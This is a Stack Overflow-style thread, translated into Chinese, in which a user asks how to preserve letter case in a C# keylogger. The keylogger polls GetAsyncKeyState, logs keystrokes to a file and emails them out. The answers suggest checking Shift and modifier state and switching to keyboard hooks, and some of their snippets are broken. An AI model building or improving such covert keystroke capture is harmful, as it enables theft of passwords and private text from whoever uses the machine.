【问题标题】:How to capture keystrokes without caps lock?如何在没有大写锁定的情况下捕获击键?
【发布时间】:2014-03-21 22:26:49
【问题描述】:

我正在制作一个 winforms 程序,它将捕获我在文本文件中输入的任何内容,但它会将所有字符都锁定为大写字母。我怎样才能让它在输入时捕获它们? 例如,如果我输入 AbCdEf,它会在文本框中显示 ABCDEF...

[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vKey);

    private void WriteTotxt(string value)
    {
        StreamWriter str = new StreamWriter("test.txt", true);
        str.Write(value);
        str.Close();
    }

    private void timer1_Tick(object sender, EventArgs e)
    {
        string buffer = "";
        foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
        {
            if(GetAsyncKeyState(i) == -32767)
                buffer += Enum.GetName(typeof(Keys), i);
        }
        text += buffer;
        if (text.Length > 0)
        {
        WriteTotxt(text);
        text = replaceChars(text);
        Email.Send(text);
        text = "";
        }
    }

【问题讨论】:

  • -1 用于键盘记录器标签

标签: c# winforms keystroke keylogger


【解决方案1】:

GetAsyncKeyState 仅返回键的状态。它没有提及任何关于修饰符的内容:Shift、Alt 等。因此,您可以使用 GetAsyncKeyState 检查是否按下 shift 键并将其存储在布尔值中。当您记录密钥并且班次下降时,您将其记录为大写。如果不是则小写。

bool shiftDown = GetAsyncKeyState(Keys.Shift) == -32767; 

foreach (...)
{
    if (GetAsyncKeyState(i) == -32767)
    {
        var key = i.ToString();
        buffer += shiftDown ? i : i.ToLower();
    }
}

另外我真的建议你阅读文档,如果你想检查所有键不要使用 GetAsyncKeyState,使用键盘挂钩。更多信息(示例):Here。因为您非常快速地遍历所有键,所以它根本没有效率。使用键盘钩子时,按下键时会触发回调。

【讨论】:

  • 是的,键盘钩子是要走的路。它有合法的用途,我在写 KeyMapper 时使用了那篇文章中的代码,尽管在我的大脑后面有一个问题,即 LowLevelKeyboardProc 委托是 GCd..
【解决方案2】:

正如其他人所提到的,我犹豫是否要参与其中,因为键盘记录通常不会很好地结束,但是 (a) 软件已经在市场上,并且 (b) 信息并不是已经免费在 MSDN 上可用,所以...

并不是你得到了错误的信息。您正在寻找不完整的信息,只询问字母 key 状态。正如GetAsyncKeyState() page 解释的那样,您还需要检查修饰键VK_SHIFTVK_CONTROLVK_MENU 等,以了解它们是否处于活动状态。

【讨论】:

    【解决方案3】:

    使用 de event Key press 使用 ToUpper() 将击键转换为大写;

    More información about event keypress here

    【讨论】:

    • ToUpper() ?这就是 OP 试图避免的
    猜你喜欢
    • 2011-01-11
    • 1970-01-01
    • 2012-01-25
    • 2011-01-15
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2013-03-13
    相关资源
    最近更新 更多